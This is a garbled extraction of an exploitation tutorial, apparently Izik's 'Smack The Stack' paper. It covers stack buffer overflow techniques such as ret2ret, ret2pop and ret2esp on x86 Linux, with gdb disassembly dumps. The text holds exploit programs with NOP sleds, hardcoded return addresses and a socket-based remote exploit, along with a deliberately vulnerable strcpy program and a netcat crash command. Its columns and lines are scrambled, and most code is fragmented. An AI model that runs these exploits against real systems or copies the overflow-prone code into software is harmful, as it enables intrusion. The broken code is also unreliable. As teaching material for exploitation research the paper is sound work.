Smack The Stack
Smack The Stack
Smack The Stack
rward jumps to the next one. The last RET will jump to
the potential return address and will lead to the shellcode.
--- snip snip --/*
* vuln.c, Classical strcpy() buffer overflow
*/
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0"
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80"
// incl %eax
// int $0x80
//
ax
bx
"\xb7\x83\x04\x08"
0x080483b7 <main+51>:
//
// RET ADDRESS /
ret
//
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08";
//
//
// RET's x 5
//
//
mov
test
je
$0x0,%eax
%eax,%eax
0x8048380 <frame_
0x08048368 <frame_dummy+24>:
0x0804836b <frame_dummy+27>:
0x08048370 <frame_dummy+32>:
0x08048375 <frame_dummy+37>:
0x08048378 <frame_dummy+40>:
0x08048379 <frame_dummy+41>:
0x08048380 <frame_dummy+48>:
0x08048382 <frame_dummy+50>:
0x08048383 <frame_dummy+51>:
End of assembler dump.
(gdb)
sub
push
call
add
nop
lea
mov
pop
ret
$0xc,%esp
$0x8049508
0x0
$0x10,%esp
dummy+48>
0x0(%esi),%esi
%ebp,%esp
%ebp
mov
pop
%ebp,%esp
%ebp
0x08048383 <frame_dummy+51>:
ret
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80"
// incl %eax
// int $0x80
//
ax
bx
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90"
"\x82\x83\x04\x08";
//
// RET ADDRESS
//
//
0x080483
82 <frame_dummy+50>:
pop
83 <frame_dummy+51>:
ret
%ebp
//
0x080483
//
int main(int argc, char **argv, char **envp) {
char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}
--- snip snip --Snooping around the CRT functions, another powerful combination
can be found inside the '__do_global_ctors_aux' implementation
0x080484cc
0x080484cd
0x080484ce
0x080484cf
<__do_global_ctors_aux+44>:
<__do_global_ctors_aux+45>:
<__do_global_ctors_aux+46>:
<__do_global_ctors_aux+47>:
pop
pop
pop
ret
%eax
%ebx
%ebp
<__do_global_ctors_aux+0>:
<__do_global_ctors_aux+1>:
<__do_global_ctors_aux+3>:
<__do_global_ctors_aux+4>:
<__do_global_ctors_aux+5>:
push
mov
push
push
mov
%ebp
%esp,%ebp
%ebx
%edx
0x80494f8
,%eax
0x080484aa <__do_global_ctors_aux+10>: cmp
$0xffffff
$0x80494f
ff,%eax
8,%ebx
0x080484b2 <__do_global_ctors_aux+18>:
<__do_global_ctors_aux+44>
0x080484b4 <__do_global_ctors_aux+20>:
,%esi
0x080484ba <__do_global_ctors_aux+26>:
,%edi
0x080484c0 <__do_global_ctors_aux+32>:
0x080484c3 <__do_global_ctors_aux+35>:
0x080484c5 <__do_global_ctors_aux+37>:
ax
0x080484c7 <__do_global_ctors_aux+39>:
ff,%eax
0x080484ca <__do_global_ctors_aux+42>:
<__do_global_ctors_aux+32>
0x080484cc <__do_global_ctors_aux+44>:
0x080484cd <__do_global_ctors_aux+45>:
0x080484ce <__do_global_ctors_aux+46>:
0x080484cf <__do_global_ctors_aux+47>:
End of assembler dump.
(gdb)
je
0x80484cc
lea
0x0(%esi)
lea
0x0(%edi)
sub
call
mov
$0x4,%ebx
*%eax
(%ebx),%e
cmp
$0xffffff
jne
0x80484c0
pop
pop
pop
ret
%eax
%ebx
%ebp
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80"
// incl %eax
// int $0x80
//
ax
bx
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90"
"\xc3\x84\x04\x08";
0x080484c3 <__do_global_ctors_aux+35>: call *%eax
//
// RET ADDRESS /
//
/*
* vuln.c, Unique strcpy() buffer overflow
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
int j = 58623;
char buf[256];
strcpy(buf, argv[1]);
return 1;
}
--- snip snip --Starting with disassembling it
(gdb) disassemble main
Dump of assembler code
0x08048384 <main+0>:
0x08048385 <main+1>:
0x08048387 <main+3>:
0x0804838d <main+9>:
0x08048390 <main+12>:
0x08048395 <main+17>:
0x08048397 <main+19>:
0x0804839e <main+26>:
0x080483a1 <main+29>:
0x080483a4 <main+32>:
0x080483a7 <main+35>:
0x080483a9 <main+37>:
0x080483af <main+43>:
0x080483b0 <main+44>:
0x080483b5 <main+49>:
0x080483b8 <main+52>:
0x080483b9 <main+53>:
0x080483ba <main+54>:
0x080483bb <main+55>:
0x080483bc <main+56>:
0x080483bd <main+57>:
0x080483be <main+58>:
0x080483bf <main+59>:
End of assembler dump.
0x00
0xc7
0x45
0xf4
0xff
0x00
(gdb)
jmp
*%esp
Beauty is in the eye of the beholder, and in this case the x86 C
PU ;-)
--- snip snip --/*
* exploit.c, Exploits vuln.c (RET2ESP)
*/
#include <stdio.h>
#include <unistd.h>
char evilbuf[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90"
0x804839a <main+22>:
jmp
"\x9a\x83\x04\x08"
*%esp
//
// RET ADDRESS /
//
"\x31\xc0"
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80";
// incl %eax
// int $0x80
//
ax
bx
<sys/types.h>
<stdio.h>
<stdlib.h>
<unistd.h>
<sys/socket.h>
<netinet/in.h>
0x8048454 <_init+184>
Shooting it down
root@magicbox:/tmp# perl -e 'print "A" x 320' | nc localhost 313
38
Going back to the debugger, to check on 'buf' pointer
Breakpoint 1, 0x08048677 in main ()
(gdb) x/a $esp+4
0xbffff694:
0xbffff6b0
(gdb)
Now it comes down to a simple math
0xbffff860 0xbffff6b0
---------432 bytes
So by subtracting the stack start address from the buf pointer, we got t
he ratio between the two.
Now, using this data, an exploit can generate a perfect return address.
--- snip snip --/*
* dumbo-exp.c, Exploits 'dumbo.c'
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
<sys/types.h>
<stdio.h>
<unistd.h>
<stdlib.h>
<string.h>
<fcntl.h>
<netinet/in.h>
<sys/socket.h>
<arpa/inet.h>
char *shellcode =
"\x31\xc0"
"\x31\xdb"
"\x40"
"\xcd\x80";
//
//
//
//
perror("connect");
return 0;
}
printf("*** Dumbo is going down! (RET: 0x%08x) ***\n", b
adpkt.retaddr);
write(sock, (void *) &badpkt, sizeof(badpkt));
close(sock);
return 1;
}
--- snip snip --Contact
------Izik <[email protected]> [or] http://www.tty64.org